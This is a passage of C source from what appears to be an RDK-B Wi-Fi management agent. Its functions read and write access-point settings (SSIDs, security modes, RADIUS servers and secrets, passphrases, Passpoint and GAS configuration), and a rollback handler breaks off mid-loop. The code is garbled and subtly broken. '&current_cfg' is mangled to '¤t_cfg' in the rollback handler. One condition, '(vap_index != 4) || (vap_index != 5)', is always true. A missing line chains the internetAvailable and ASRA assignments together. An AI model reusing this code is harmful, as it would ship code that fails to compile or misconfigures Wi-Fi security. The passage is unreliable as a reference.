return NULL;
}
int wifi_get_initial_vap_config(wifi_vap_info_t *vap_cfg, uint8_t vap_index)
{
PCOSA_DATAMODEL_WIFI pMyObject = (PCOSA_DATAMODEL_WIFI)g_pCosaBEManager->hWifi;
PSINGLE_LINK_ENTRY pSLinkEntry = NULL;
PCOSA_DML_WIFI_SSID pWifiSsid = NULL;
PCOSA_DML_WIFI_AP pWifiAp = NULL;
if((pSLinkEntry = AnscQueueGetEntryByIndex(&pMyObject->SsidQueue, vap_index)) == NULL) {
CcspTraceError(("%s Data Model object not found!\n",__FUNCTION__));
return RETURN_ERR;
}
if((pWifiSsid = ACCESS_COSA_CONTEXT_LINK_OBJECT(pSLinkEntry)->hContext) == NULL) {
CcspTraceError(("%s Error linking Data Model object!\n",__FUNCTION__));
return RETURN_ERR;
}
if((pSLinkEntry = AnscQueueGetEntryByIndex(&pMyObject->AccessPointQueue, vap_index)) == NULL) {
CcspTraceError(("%s Error linking Data Model object!\n",__FUNCTION__));
return RETURN_ERR;
}
if((pWifiAp = ACCESS_COSA_CONTEXT_LINK_OBJECT(pSLinkEntry)->hContext) == NULL) {
CcspTraceError(("%s Error linking Data Model object!\n",__FUNCTION__));
return RETURN_ERR;
}
strncpy(vap_cfg->u.bss_info.ssid, pWifiSsid->SSID.Cfg.SSID, sizeof(vap_cfg->u.bss_info.ssid)-1);
vap_cfg->u.bss_info.enabled = pWifiSsid->SSID.Cfg.bEnabled;
vap_cfg->u.bss_info.showSsid = pWifiAp->AP.Cfg.SSIDAdvertisementEnabled;
vap_cfg->u.bss_info.isolation = pWifiAp->AP.Cfg.IsolationEnable;
vap_cfg->u.bss_info.security.mode = pWifiAp->SEC.Cfg.ModeEnabled;
vap_cfg->u.bss_info.security.encr = pWifiAp->SEC.Cfg.EncryptionMethod;
#if defined(WIFI_HAL_VERSION_3)
if (strncmp(pWifiAp->SEC.Cfg.MFPConfig, "Disabled", sizeof("Disabled")) == 0) {
vap_cfg->u.bss_info.security.mfp = wifi_mfp_cfg_disabled;
} else if (strncmp(pWifiAp->SEC.Cfg.MFPConfig, "Required", sizeof("Required")) == 0) {
vap_cfg->u.bss_info.security.mfp = wifi_mfp_cfg_required;
} else if (strncmp(pWifiAp->SEC.Cfg.MFPConfig, "Optional", sizeof("Optional")) == 0) {
vap_cfg->u.bss_info.security.mfp = wifi_mfp_cfg_optional;
}
#else
strncpy(vap_cfg->u.bss_info.security.mfpConfig, pWifiAp->SEC.Cfg.MFPConfig, sizeof(vap_cfg->u.bss_info.security.mfpConfig)-1);
#endif
vap_cfg->u.bss_info.bssMaxSta = pWifiAp->AP.Cfg.BssMaxNumSta;
vap_cfg->u.bss_info.nbrReportActivated = pWifiAp->AP.Cfg.X_RDKCENTRAL_COM_NeighborReportActivated;
vap_cfg->u.bss_info.vapStatsEnable = pWifiAp->AP.Cfg.X_RDKCENTRAL_COM_StatsEnable;
vap_cfg->u.bss_info.bssTransitionActivated = pWifiAp->AP.Cfg.BSSTransitionActivated;
vap_cfg->u.bss_info.mgmtPowerControl = pWifiAp->AP.Cfg.ManagementFramePowerControl;
/* Store Radius settings for Secure Hotspot vap */
if ((vap_index == 8) || (vap_index == 9)) {
#ifndef WIFI_HAL_VERSION_3_PHASE2
strncpy((char *)vap_cfg->u.bss_info.security.u.radius.ip, (char *)pWifiAp->SEC.Cfg.RadiusServerIPAddr,
sizeof(vap_cfg->u.bss_info.security.u.radius.ip)-1); /*wifi hal*/
strncpy((char *)vap_cfg->u.bss_info.security.u.radius.s_ip, (char *)pWifiAp->SEC.Cfg.SecondaryRadiusServerIPAddr,
sizeof(vap_cfg->u.bss_info.security.u.radius.s_ip)-1); /*wifi hal*/
#else
if(inet_pton(AF_INET, (char*)pWifiAp->SEC.Cfg.RadiusServerIPAddr, &(vap_cfg->u.bss_info.security.u.radius.ip.u.IPv4addr)) > 0) {
vap_cfg->u.bss_info.security.u.radius.ip.family = wifi_ip_family_ipv4;
} else if(inet_pton(AF_INET6, (char*)pWifiAp->SEC.Cfg.RadiusServerIPAddr, &(vap_cfg->u.bss_info.security.u.radius.ip.u.IPv6addr)) > 0) {
vap_cfg->u.bss_info.security.u.radius.ip.family = wifi_ip_family_ipv6;
} else {
CcspWifiTrace(("RDK_LOG_ERROR,<%s> <%d> : inet_pton falied for primary radius IP\n",__FUNCTION__, __LINE__));
return ANSC_STATUS_FAILURE;
}
if(inet_pton(AF_INET, (char*)pWifiAp->SEC.Cfg.SecondaryRadiusServerIPAddr, &(vap_cfg->u.bss_info.security.u.radius.s_ip.u.IPv4addr)) > 0) {
vap_cfg->u.bss_info.security.u.radius.s_ip.family = wifi_ip_family_ipv4;
} else if(inet_pton(AF_INET6, (char*)pWifiAp->SEC.Cfg.SecondaryRadiusServerIPAddr, &(vap_cfg->u.bss_info.security.u.radius.s_ip.u.IPv6addr)) > 0) {
vap_cfg->u.bss_info.security.u.radius.s_ip.family = wifi_ip_family_ipv6;
} else {
CcspWifiTrace(("RDK_LOG_ERROR,<%s> <%d> : inet_pton falied for secondary radius IP\n",__FUNCTION__, __LINE__));
return ANSC_STATUS_FAILURE;
}
#endif
vap_cfg->u.bss_info.security.u.radius.port = pWifiAp->SEC.Cfg.RadiusServerPort;
strncpy(vap_cfg->u.bss_info.security.u.radius.key, pWifiAp->SEC.Cfg.RadiusSecret,
sizeof(vap_cfg->u.bss_info.security.u.radius.key)-1);
vap_cfg->u.bss_info.security.u.radius.s_port = pWifiAp->SEC.Cfg.SecondaryRadiusServerPort;
strncpy(vap_cfg->u.bss_info.security.u.radius.s_key, pWifiAp->SEC.Cfg.SecondaryRadiusSecret,
sizeof(vap_cfg->u.bss_info.security.u.radius.s_key)-1);
} else if((vap_index != 4) || (vap_index != 5)) {
#ifdef WIFI_HAL_VERSION_3
if ((pWifiAp->SEC.Cfg.ModeEnabled == COSA_DML_WIFI_SECURITY_WPA3_Personal) ||
(pWifiAp->SEC.Cfg.ModeEnabled == COSA_DML_WIFI_SECURITY_WPA3_Personal_Transition) ||
(pWifiAp->SEC.Cfg.ModeEnabled == COSA_DML_WIFI_SECURITY_WPA3_Enterprise))
{
strncpy(vap_cfg->u.bss_info.security.u.key.key, (char*)pWifiAp->SEC.Cfg.SAEPassphrase,
sizeof(vap_cfg->u.bss_info.security.u.key.key)-1);
}
else
{
strncpy(vap_cfg->u.bss_info.security.u.key.key, (char *)pWifiAp->SEC.Cfg.KeyPassphrase,
sizeof(vap_cfg->u.bss_info.security.u.key.key)-1);
}
#else
strncpy(vap_cfg->u.bss_info.security.u.key.key, (char *)pWifiAp->SEC.Cfg.KeyPassphrase,
sizeof(vap_cfg->u.bss_info.security.u.key.key)-1);
#endif
}
vap_cfg->u.bss_info.interworking.interworking.interworkingEnabled =
pWifiAp->AP.Cfg.InterworkingEnable;
vap_cfg->u.bss_info.interworking.interworking.accessNetworkType =
pWifiAp->AP.Cfg.IEEE80211uCfg.IntwrkCfg.iAccessNetworkType;
vap_cfg->u.bss_info.interworking.interworking.internetAvailable =
pWifiAp->AP.Cfg.IEEE80211uCfg.IntwrkCfg.iInternetAvailable;
vap_cfg->u.bss_info.interworking.interworking.asra =
pWifiAp->AP.Cfg.IEEE80211uCfg.IntwrkCfg.iASRA;
vap_cfg->u.bss_info.interworking.interworking.esr =
pWifiAp->AP.Cfg.IEEE80211uCfg.IntwrkCfg.iESR;
vap_cfg->u.bss_info.interworking.interworking.uesa =
pWifiAp->AP.Cfg.IEEE80211uCfg.IntwrkCfg.iUESA;
vap_cfg->u.bss_info.interworking.interworking.venueOptionPresent =
pWifiAp->AP.Cfg.IEEE80211uCfg.IntwrkCfg.iVenueOptionPresent;
vap_cfg->u.bss_info.interworking.interworking.venueGroup =
pWifiAp->AP.Cfg.IEEE80211uCfg.IntwrkCfg.iVenueGroup;
vap_cfg->u.bss_info.interworking.interworking.venueType =
pWifiAp->AP.Cfg.IEEE80211uCfg.IntwrkCfg.iVenueType;
vap_cfg->u.bss_info.interworking.interworking.hessOptionPresent =
pWifiAp->AP.Cfg.IEEE80211uCfg.IntwrkCfg.iHESSOptionPresent;
strncpy(vap_cfg->u.bss_info.interworking.interworking.hessid,
pWifiAp->AP.Cfg.IEEE80211uCfg.IntwrkCfg.iHESSID,
sizeof(vap_cfg->u.bss_info.interworking.interworking.hessid)-1);
vap_cfg->u.bss_info.interworking.roamingConsortium.wifiRoamingConsortiumCount =
pWifiAp->AP.Cfg.IEEE80211uCfg.RoamCfg.iWIFIRoamingConsortiumCount;
memcpy(&vap_cfg->u.bss_info.interworking.roamingConsortium.wifiRoamingConsortiumOui,
&pWifiAp->AP.Cfg.IEEE80211uCfg.RoamCfg.iWIFIRoamingConsortiumOui,
sizeof(vap_cfg->u.bss_info.interworking.roamingConsortium.wifiRoamingConsortiumOui));
memcpy(&vap_cfg->u.bss_info.interworking.roamingConsortium.wifiRoamingConsortiumLen,
&pWifiAp->AP.Cfg.IEEE80211uCfg.RoamCfg.iWIFIRoamingConsortiumLen,
sizeof(vap_cfg->u.bss_info.interworking.roamingConsortium.wifiRoamingConsortiumLen));
vap_cfg->u.bss_info.interworking.passpoint.enable =
pWifiAp->AP.Cfg.IEEE80211uCfg.PasspointCfg.Status;
vap_cfg->u.bss_info.interworking.passpoint.gafDisable =
pWifiAp->AP.Cfg.IEEE80211uCfg.PasspointCfg.gafDisable;
vap_cfg->u.bss_info.interworking.passpoint.p2pDisable =
pWifiAp->AP.Cfg.IEEE80211uCfg.PasspointCfg.p2pDisable;
vap_cfg->u.bss_info.interworking.passpoint.l2tif =
pWifiAp->AP.Cfg.IEEE80211uCfg.PasspointCfg.l2tif;
if (pWifiAp->AP.Cfg.IEEE80211uCfg.PasspointCfg.ANQPConfigParameters) {
AnscCopyString((char *)vap_cfg->u.bss_info.interworking.anqp.anqpParameters,
pWifiAp->AP.Cfg.IEEE80211uCfg.PasspointCfg.ANQPConfigParameters);
}
if (pWifiAp->AP.Cfg.IEEE80211uCfg.PasspointCfg.HS2Parameters) {
AnscCopyString((char *)vap_cfg->u.bss_info.interworking.passpoint.hs2Parameters,
pWifiAp->AP.Cfg.IEEE80211uCfg.PasspointCfg.HS2Parameters);
}
gbsstrans_support[vap_index] = pWifiAp->AP.Cfg.BSSTransitionImplemented;
gwirelessmgmt_support[vap_index] = pWifiAp->AP.Cfg.WirelessManagementImplemented;
return RETURN_OK;
}
int wifi_get_initial_common_config(wifi_config_t *curr_cfg)
{
PCOSA_DATAMODEL_WIFI pMyObject = (PCOSA_DATAMODEL_WIFI)g_pCosaBEManager->hWifi;
PCOSA_DML_WIFI_GASCFG pGASconf = NULL;
pGASconf = &pMyObject->GASCfg[0];
if (pGASconf) {
curr_cfg->gas_config.AdvertisementID = pGASconf->AdvertisementID;
curr_cfg->gas_config.PauseForServerResponse = pGASconf->PauseForServerResponse;
curr_cfg->gas_config.ResponseTimeout = pGASconf->ResponseTimeout;
curr_cfg->gas_config.ComeBackDelay = pGASconf->ComeBackDelay;
curr_cfg->gas_config.ResponseBufferingTime = pGASconf->ResponseBufferingTime;
curr_cfg->gas_config.QueryResponseLengthLimit = pGASconf->QueryResponseLengthLimit;
CcspTraceInfo(("%s: Fetched Initial GAS Configs\n",__FUNCTION__));
}
return RETURN_OK;
}
int wifi_update_dml_config(wifi_vap_info_t *vap_cfg, wifi_vap_info_t *curr_cfg, uint8_t vap_index)
{
PCOSA_DATAMODEL_WIFI pMyObject = (PCOSA_DATAMODEL_WIFI)g_pCosaBEManager->hWifi;
PSINGLE_LINK_ENTRY pSLinkEntry = NULL;
PCOSA_DML_WIFI_SSID pWifiSsid = NULL;
PCOSA_DML_WIFI_AP pWifiAp = NULL;
char strValue[256];
char recName[256];
int retPsmSet = CCSP_SUCCESS;
if((pSLinkEntry = AnscQueueGetEntryByIndex(&pMyObject->SsidQueue, vap_index)) == NULL) {
CcspTraceError(("%s Data Model object not found!\n",__FUNCTION__));
return RETURN_ERR;
}
if((pWifiSsid = ACCESS_COSA_CONTEXT_LINK_OBJECT(pSLinkEntry)->hContext) == NULL) {
CcspTraceError(("%s Error linking Data Model object!\n",__FUNCTION__));
return RETURN_ERR;
}
if((pSLinkEntry = AnscQueueGetEntryByIndex(&pMyObject->AccessPointQueue, vap_index)) == NULL) {
CcspTraceError(("%s Error linking Data Model object!\n",__FUNCTION__));
return RETURN_ERR;
}
if((pWifiAp = ACCESS_COSA_CONTEXT_LINK_OBJECT(pSLinkEntry)->hContext) == NULL) {
CcspTraceError(("%s Error linking Data Model object!\n",__FUNCTION__));
return RETURN_ERR;
}
#ifndef WIFI_HAL_VERSION_3
pWifiSsid->SSID.Cfg.bEnabled = vap_cfg->u.bss_info.enabled;
strncpy(pWifiSsid->SSID.Cfg.SSID, vap_cfg->u.bss_info.ssid, sizeof(pWifiSsid->SSID.Cfg.SSID)-1);
pWifiAp->AP.Cfg.SSIDAdvertisementEnabled = vap_cfg->u.bss_info.showSsid;
if ((wifi_security_modes_t)pWifiAp->SEC.Cfg.ModeEnabled != curr_cfg->u.bss_info.security.mode) {
pWifiAp->SEC.Cfg.ModeEnabled = vap_cfg->u.bss_info.security.mode;
}
if ((wifi_encryption_method_t)pWifiAp->SEC.Cfg.EncryptionMethod != curr_cfg->u.bss_info.security.encr) {
pWifiAp->SEC.Cfg.EncryptionMethod = vap_cfg->u.bss_info.security.encr;
}
if (pWifiAp->AP.Cfg.ManagementFramePowerControl != curr_cfg->u.bss_info.mgmtPowerControl) {
pWifiAp->AP.Cfg.ManagementFramePowerControl = vap_cfg->u.bss_info.mgmtPowerControl;
}
#endif
if (pWifiAp->AP.Cfg.IsolationEnable != vap_cfg->u.bss_info.isolation) {
pWifiAp->AP.Cfg.IsolationEnable = vap_cfg->u.bss_info.isolation;
sprintf(recName, ApIsolationEnable, vap_index+1);
sprintf(strValue,"%d",(vap_cfg->u.bss_info.isolation == TRUE) ? 1 : 0 );
retPsmSet = PSM_Set_Record_Value2(bus_handle, g_Subsystem, recName, ccsp_string, strValue);
if (retPsmSet != CCSP_SUCCESS) {
CcspTraceError(("%s Failed to set Isolation enable psm value\n",__FUNCTION__));
}
}
if (pWifiAp->AP.Cfg.BssMaxNumSta != (int)vap_cfg->u.bss_info.bssMaxSta) {
pWifiAp->AP.Cfg.BssMaxNumSta = vap_cfg->u.bss_info.bssMaxSta;
sprintf(recName, BssMaxNumSta, vap_index+1);
sprintf(strValue,"%d",pWifiAp->AP.Cfg.BssMaxNumSta);
retPsmSet = PSM_Set_Record_Value2(bus_handle,g_Subsystem, recName, ccsp_string, strValue);
if (retPsmSet != CCSP_SUCCESS) {
CcspTraceError(("%s Failed to set Max station allowed psm value\n",__FUNCTION__));
}
}
if (pWifiAp->AP.Cfg.X_RDKCENTRAL_COM_NeighborReportActivated != vap_cfg->u.bss_info.nbrReportActivated) {
pWifiAp->AP.Cfg.X_RDKCENTRAL_COM_NeighborReportActivated = vap_cfg->u.bss_info.nbrReportActivated;
sprintf(strValue,"%s", (vap_cfg->u.bss_info.nbrReportActivated ? "true" : "false"));
sprintf(recName, NeighborReportActivated, vap_index + 1 );
retPsmSet = PSM_Set_Record_Value2(bus_handle, g_Subsystem, recName, ccsp_string, strValue);
if (retPsmSet != CCSP_SUCCESS) {
CcspTraceError(("%s Failed to set Neighbor report activated psm value\n",__FUNCTION__));
}
}
if (pWifiAp->AP.Cfg.BSSTransitionActivated != vap_cfg->u.bss_info.bssTransitionActivated) {
pWifiAp->AP.Cfg.BSSTransitionActivated = vap_cfg->u.bss_info.bssTransitionActivated;
sprintf(strValue,"%s", (vap_cfg->u.bss_info.bssTransitionActivated ? "true" : "false"));
sprintf(recName, BSSTransitionActivated, vap_index + 1 );
retPsmSet = PSM_Set_Record_Value2(bus_handle, g_Subsystem, recName, ccsp_string, strValue);
if (retPsmSet != CCSP_SUCCESS) {
CcspTraceError(("%s Failed to set Bss Transition activated psm value\n",__FUNCTION__));
}
}
if (pWifiAp->AP.Cfg.X_RDKCENTRAL_COM_rapidReconnectCountEnable != vap_cfg->u.bss_info.rapidReconnectEnable) {
pWifiAp->AP.Cfg.X_RDKCENTRAL_COM_rapidReconnectCountEnable =
vap_cfg->u.bss_info.rapidReconnectEnable;
sprintf(strValue,"%d", vap_cfg->u.bss_info.rapidReconnectEnable);
sprintf(recName, RapidReconnCountEnable, vap_index+1);
retPsmSet = PSM_Set_Record_Value2(bus_handle, g_Subsystem, recName, ccsp_string, strValue);
if (retPsmSet != CCSP_SUCCESS) {
CcspTraceError(("%s Failed to set Rapid Reconnect Enable psm value\n",__FUNCTION__));
}
}
if (pWifiAp->AP.Cfg.X_RDKCENTRAL_COM_rapidReconnectMaxTime != (int)vap_cfg->u.bss_info.rapidReconnThreshold) {
pWifiAp->AP.Cfg.X_RDKCENTRAL_COM_rapidReconnectMaxTime = vap_cfg->u.bss_info.rapidReconnThreshold;
sprintf(strValue,"%d", vap_cfg->u.bss_info.rapidReconnThreshold);
sprintf(recName, RapidReconnThreshold, vap_index+1);
retPsmSet = PSM_Set_Record_Value2(bus_handle, g_Subsystem, recName, ccsp_string, strValue);
if (retPsmSet != CCSP_SUCCESS) {
CcspTraceError(("%s Failed to set Rapid Reconnection threshold psm value\n",__FUNCTION__));
}
}
if (pWifiAp->AP.Cfg.X_RDKCENTRAL_COM_StatsEnable != vap_cfg->u.bss_info.vapStatsEnable) {
pWifiAp->AP.Cfg.X_RDKCENTRAL_COM_StatsEnable = vap_cfg->u.bss_info.vapStatsEnable;
sprintf(recName, vAPStatsEnable, vap_index+1);
sprintf(strValue,"%s", (vap_cfg->u.bss_info.vapStatsEnable ? "true" : "false"));
retPsmSet = PSM_Set_Record_Value2(bus_handle, g_Subsystem, recName, ccsp_string, strValue);
if (retPsmSet != CCSP_SUCCESS) {
CcspTraceError(("%s Failed to set Vap stats enable psm value\n",__FUNCTION__));
}
}
#if defined(WIFI_HAL_VERSION_3)
if (vap_cfg->u.bss_info.security.mfp != curr_cfg->u.bss_info.security.mfp)
{
snprintf(pWifiAp->SEC.Cfg.MFPConfig, sizeof(pWifiAp->SEC.Cfg.MFPConfig),
"%s", MFPConfigOptions[vap_cfg->u.bss_info.security.mfp]);
sprintf(recName, ApMFPConfig, vap_index+1);
retPsmSet = PSM_Set_Record_Value2(bus_handle, g_Subsystem, recName, ccsp_string, pWifiAp->SEC.Cfg.MFPConfig);
if (retPsmSet != CCSP_SUCCESS) {
CcspTraceError(("%s Failed to set MFPConfig psm value\n",__FUNCTION__));
}
}
#else
if(strcmp(pWifiAp->SEC.Cfg.MFPConfig, curr_cfg->u.bss_info.security.mfpConfig) != 0) {
strncpy(pWifiAp->SEC.Cfg.MFPConfig,vap_cfg->u.bss_info.security.mfpConfig, sizeof(vap_cfg->u.bss_info.security.mfpConfig)-1);
sprintf(recName, ApMFPConfig, vap_index+1);
retPsmSet = PSM_Set_Record_Value2(bus_handle, g_Subsystem, recName, ccsp_string, vap_cfg->u.bss_info.security.mfpConfig);
if (retPsmSet != CCSP_SUCCESS) {
CcspTraceError(("%s Failed to set MFPConfig psm value\n",__FUNCTION__));
}
}
#endif
#ifndef WIFI_HAL_VERSION_3
if ((strcmp(vap_cfg->vap_name,"hotspot_secure_2g") == 0 || strcmp(vap_cfg->vap_name,"hotspot_secure_5g") == 0)) {
#ifdef WIFI_HAL_VERSION_3_PHASE2
if(inet_ntop(AF_INET, &(vap_cfg->u.bss_info.security.u.radius.ip.u.IPv4addr), (char*)pWifiAp->SEC.Cfg.RadiusServerIPAddr,
sizeof(pWifiAp->SEC.Cfg.RadiusServerIPAddr)-1) == NULL)
{
CcspWifiTrace(("RDK_LOG_ERROR,<%s> <%d> : inet_ntop falied for secondary radius IP\n",__FUNCTION__, __LINE__));
return ANSC_STATUS_FAILURE;
}
else if(inet_ntop(AF_INET6, &(vap_cfg->u.bss_info.security.u.radius.ip.u.IPv6addr), (char*)pWifiAp->SEC.Cfg.RadiusServerIPAddr,
sizeof(pWifiAp->SEC.Cfg.RadiusServerIPAddr)-1) == NULL)
{
CcspWifiTrace(("RDK_LOG_ERROR,<%s> <%d> : inet_ntop falied for secondary radius IP\n",__FUNCTION__, __LINE__));
return ANSC_STATUS_FAILURE;
}
if(inet_ntop(AF_INET, &(vap_cfg->u.bss_info.security.u.radius.s_ip.u.IPv4addr), (char*)pWifiAp->SEC.Cfg.SecondaryRadiusServerIPAddr,
sizeof(pWifiAp->SEC.Cfg.SecondaryRadiusServerIPAddr)-1) == NULL)
{
CcspWifiTrace(("RDK_LOG_ERROR,<%s> <%d> : inet_ntop falied for secondary radius IP\n",__FUNCTION__, __LINE__));
return ANSC_STATUS_FAILURE;
}
else if(inet_ntop(AF_INET6, &(vap_cfg->u.bss_info.security.u.radius.s_ip.u.IPv6addr),(char*)pWifiAp->SEC.Cfg.SecondaryRadiusServerIPAddr,
sizeof(pWifiAp->SEC.Cfg.SecondaryRadiusServerIPAddr)-1) == NULL)
{
CcspWifiTrace(("RDK_LOG_ERROR,<%s> <%d> : inet_ntop falied for secondary radius IP\n",__FUNCTION__, __LINE__));
return ANSC_STATUS_FAILURE;
}
#else
strncpy((char *)pWifiAp->SEC.Cfg.RadiusServerIPAddr, (char *)vap_cfg->u.bss_info.security.u.radius.ip,
sizeof(pWifiAp->SEC.Cfg.RadiusServerIPAddr)-1);
strncpy((char *)pWifiAp->SEC.Cfg.SecondaryRadiusServerIPAddr,(char *)vap_cfg->u.bss_info.security.u.radius.s_ip,
sizeof(pWifiAp->SEC.Cfg.SecondaryRadiusServerIPAddr)-1);
#endif
pWifiAp->SEC.Cfg.RadiusServerPort = vap_cfg->u.bss_info.security.u.radius.port;
strncpy(pWifiAp->SEC.Cfg.RadiusSecret,vap_cfg->u.bss_info.security.u.radius.key,
sizeof(pWifiAp->SEC.Cfg.RadiusSecret)-1);
pWifiAp->SEC.Cfg.SecondaryRadiusServerPort = vap_cfg->u.bss_info.security.u.radius.s_port;
strncpy(pWifiAp->SEC.Cfg.SecondaryRadiusSecret,vap_cfg->u.bss_info.security.u.radius.s_key,
sizeof(pWifiAp->SEC.Cfg.SecondaryRadiusSecret)-1);
} else if(vap_cfg->u.bss_info.security.mode != wifi_security_mode_none) {
strncpy((char *)pWifiAp->SEC.Cfg.KeyPassphrase, vap_cfg->u.bss_info.security.u.key.key,
sizeof(pWifiAp->SEC.Cfg.KeyPassphrase)-1);
}
memcpy(&sWiFiDmlSsidStoredCfg[pWifiSsid->SSID.Cfg.InstanceNumber-1], &pWifiSsid->SSID.Cfg, sizeof(COSA_DML_WIFI_SSID_CFG));
memcpy(&sWiFiDmlApStoredCfg[pWifiAp->AP.Cfg.InstanceNumber-1].Cfg, &pWifiAp->AP.Cfg, sizeof(COSA_DML_WIFI_AP_CFG));
memcpy(&sWiFiDmlSsidRunningCfg[pWifiSsid->SSID.Cfg.InstanceNumber-1], &pWifiSsid->SSID.Cfg, sizeof(COSA_DML_WIFI_SSID_CFG));
memcpy(&sWiFiDmlApRunningCfg[pWifiAp->AP.Cfg.InstanceNumber-1].Cfg, &pWifiAp->AP.Cfg, sizeof(COSA_DML_WIFI_AP_CFG));
memcpy(&sWiFiDmlApSecurityStored[pWifiAp->AP.Cfg.InstanceNumber-1].Cfg, &pWifiAp->SEC.Cfg, sizeof(COSA_DML_WIFI_APSEC_CFG));
memcpy(&sWiFiDmlApSecurityRunning[pWifiAp->AP.Cfg.InstanceNumber-1].Cfg, &pWifiAp->SEC.Cfg, sizeof(COSA_DML_WIFI_APSEC_CFG));
#endif
//Update Interworking Configuration
pWifiAp->AP.Cfg.InterworkingEnable =
vap_cfg->u.bss_info.interworking.interworking.interworkingEnabled;
pWifiAp->AP.Cfg.IEEE80211uCfg.IntwrkCfg.iAccessNetworkType =
vap_cfg->u.bss_info.interworking.interworking.accessNetworkType;
pWifiAp->AP.Cfg.IEEE80211uCfg.IntwrkCfg.iInternetAvailable =
vap_cfg->u.bss_info.interworking.interworking.internetAvailable =
pWifiAp->AP.Cfg.IEEE80211uCfg.IntwrkCfg.iASRA =
vap_cfg->u.bss_info.interworking.interworking.asra;
pWifiAp->AP.Cfg.IEEE80211uCfg.IntwrkCfg.iESR =
vap_cfg->u.bss_info.interworking.interworking.esr;
pWifiAp->AP.Cfg.IEEE80211uCfg.IntwrkCfg.iUESA =
vap_cfg->u.bss_info.interworking.interworking.uesa;
pWifiAp->AP.Cfg.IEEE80211uCfg.IntwrkCfg.iVenueOptionPresent =
vap_cfg->u.bss_info.interworking.interworking.venueOptionPresent;
pWifiAp->AP.Cfg.IEEE80211uCfg.IntwrkCfg.iVenueGroup =
vap_cfg->u.bss_info.interworking.interworking.venueGroup;
pWifiAp->AP.Cfg.IEEE80211uCfg.IntwrkCfg.iVenueType =
vap_cfg->u.bss_info.interworking.interworking.venueType;
pWifiAp->AP.Cfg.IEEE80211uCfg.IntwrkCfg.iHESSOptionPresent =
vap_cfg->u.bss_info.interworking.interworking.hessOptionPresent;
strncpy(pWifiAp->AP.Cfg.IEEE80211uCfg.IntwrkCfg.iHESSID,
vap_cfg->u.bss_info.interworking.interworking.hessid,
sizeof(pWifiAp->AP.Cfg.IEEE80211uCfg.IntwrkCfg.iHESSID)-1);
#if defined (FEATURE_SUPPORT_PASSPOINT) && defined(ENABLE_FEATURE_MESHWIFI)
//Save Interworking Config to DB
update_ovsdb_interworking(vap_cfg->vap_name,&vap_cfg->u.bss_info.interworking.interworking);
#else
if(CosaDmlWiFi_WriteInterworkingConfig(&pWifiAp->AP.Cfg) != ANSC_STATUS_SUCCESS) {
CcspTraceWarning(("Failed to Save Interworking Configuration\n"));
}
#endif
pWifiAp->AP.Cfg.IEEE80211uCfg.RoamCfg.iWIFIRoamingConsortiumCount =
vap_cfg->u.bss_info.interworking.roamingConsortium.wifiRoamingConsortiumCount;
memcpy(&pWifiAp->AP.Cfg.IEEE80211uCfg.RoamCfg.iWIFIRoamingConsortiumOui,
&vap_cfg->u.bss_info.interworking.roamingConsortium.wifiRoamingConsortiumOui,
sizeof(pWifiAp->AP.Cfg.IEEE80211uCfg.RoamCfg.iWIFIRoamingConsortiumOui));
memcpy(&pWifiAp->AP.Cfg.IEEE80211uCfg.RoamCfg.iWIFIRoamingConsortiumLen,
&vap_cfg->u.bss_info.interworking.roamingConsortium.wifiRoamingConsortiumLen,
sizeof(pWifiAp->AP.Cfg.IEEE80211uCfg.RoamCfg.iWIFIRoamingConsortiumLen));
//Save Interworking, ANQP, and Passpoint Config
if((int)ANSC_STATUS_FAILURE == CosaDmlWiFi_SaveInterworkingWebconfig(&pWifiAp->AP.Cfg, &vap_cfg->u.bss_info.interworking, vap_index)) {
CcspTraceWarning(("Failed to Save ANQP Configuration\n"));
}
return RETURN_OK;
}
int wifi_update_common_config(wifi_config_t *wifi_cfg)
{
PCOSA_DATAMODEL_WIFI pMyObject = (PCOSA_DATAMODEL_WIFI)g_pCosaBEManager->hWifi;
PCOSA_DML_WIFI_GASCFG pGASconf = NULL;
pGASconf = &pMyObject->GASCfg[0];
if (pGASconf) {
pGASconf->AdvertisementID = wifi_cfg->gas_config.AdvertisementID;
pGASconf->PauseForServerResponse = wifi_cfg->gas_config.PauseForServerResponse;
pGASconf->ResponseTimeout = wifi_cfg->gas_config.ResponseTimeout;
pGASconf->ComeBackDelay = wifi_cfg->gas_config.ComeBackDelay;
pGASconf->ResponseBufferingTime = wifi_cfg->gas_config.ResponseBufferingTime;
pGASconf->QueryResponseLengthLimit = wifi_cfg->gas_config.QueryResponseLengthLimit;
CcspTraceInfo(("%s: Copied GAS Configs to TR-181\n",__FUNCTION__));
}
#if defined (FEATURE_SUPPORT_PASSPOINT) && defined(ENABLE_FEATURE_MESHWIFI)
//Update OVSDB
if(RETURN_OK != update_ovsdb_gas_config(wifi_cfg->gas_config.AdvertisementID, &wifi_cfg->gas_config))
{
CcspTraceWarning(("Failed to update OVSDB with GAS Config\n"));
}
#else
update_json_gas_config(&wifi_cfg->gas_config);
#endif
return RETURN_OK;
}
int wifi_vap_cfg_rollback_handler()
{
#ifdef WIFI_HAL_VERSION_3
wifi_vap_info_t *tempWifiVapInfo;
#else
wifi_vap_info_map_t current_cfg;
#endif
uint8_t i;
char *err = NULL;
/* TBD: Handle Wifirestart during rollback */
CcspTraceInfo(("Inside %s\n",__FUNCTION__));
for (i=0; i < vap_curr_cfg.num_vaps; i++) {
#ifndef WIFI_HAL_VERSION_3
if (RETURN_OK != wifi_get_initial_vap_config(¤t_cfg.vap_array[i],
vap_curr_cfg.vap_array[i].vap_index)) {
CcspTraceError(("%s: Failed to fetch initial dml config\n",__FUNCTION__));
return RETURN_ERR;
}
current_cfg.vap_array[i].vap_index = vap_curr_cfg.vap_array[i].vap_index;
strncpy(current_cfg.vap_array[i].vap_name, vap_curr_cfg.vap_array[i].vap_name,
sizeof(current_cfg.vap_array[i].vap_name) - 1);
err = wifi_apply_ssid_config(¤t_cfg.vap_array[i], &vap_curr_cfg.vap_array[i],FALSE,FALSE);
if (err != NULL) {
CcspTraceError(("%s: Failed to apply ssid config for index %d\n",err,
current_cfg.vap_array[i].vap_index));
return RETURN_ERR;
}
err = wifi_apply_security_config(¤t_cfg.vap_array[i], &vap_curr_cfg.vap_array[i],FALSE);
if (err != NULL) {
CcspTraceError(("%s: Failed to apply security config for index %d\n", err,
current_cfg.vap_array[i].vap_index));
return RETURN_ERR;
}
err = wifi_apply_interworking_config(¤t_cfg.vap_array[i], &vap_curr_cfg.vap_array[i]);
#else //WIFI_HAL_VERSION_3
tempWifiVapInfo = getVapInfo(vap_curr_cfg.vap_array[i].vap_index);
if (tempWifiVapInfo == NULL)
{
CcspTraceError(("%s Unable to get VAP info for vapIndex : %d\n", __FUNCTION__, vap_curr_cfg.vap_array[i].vap_index));
return RETURN_ERR;
}
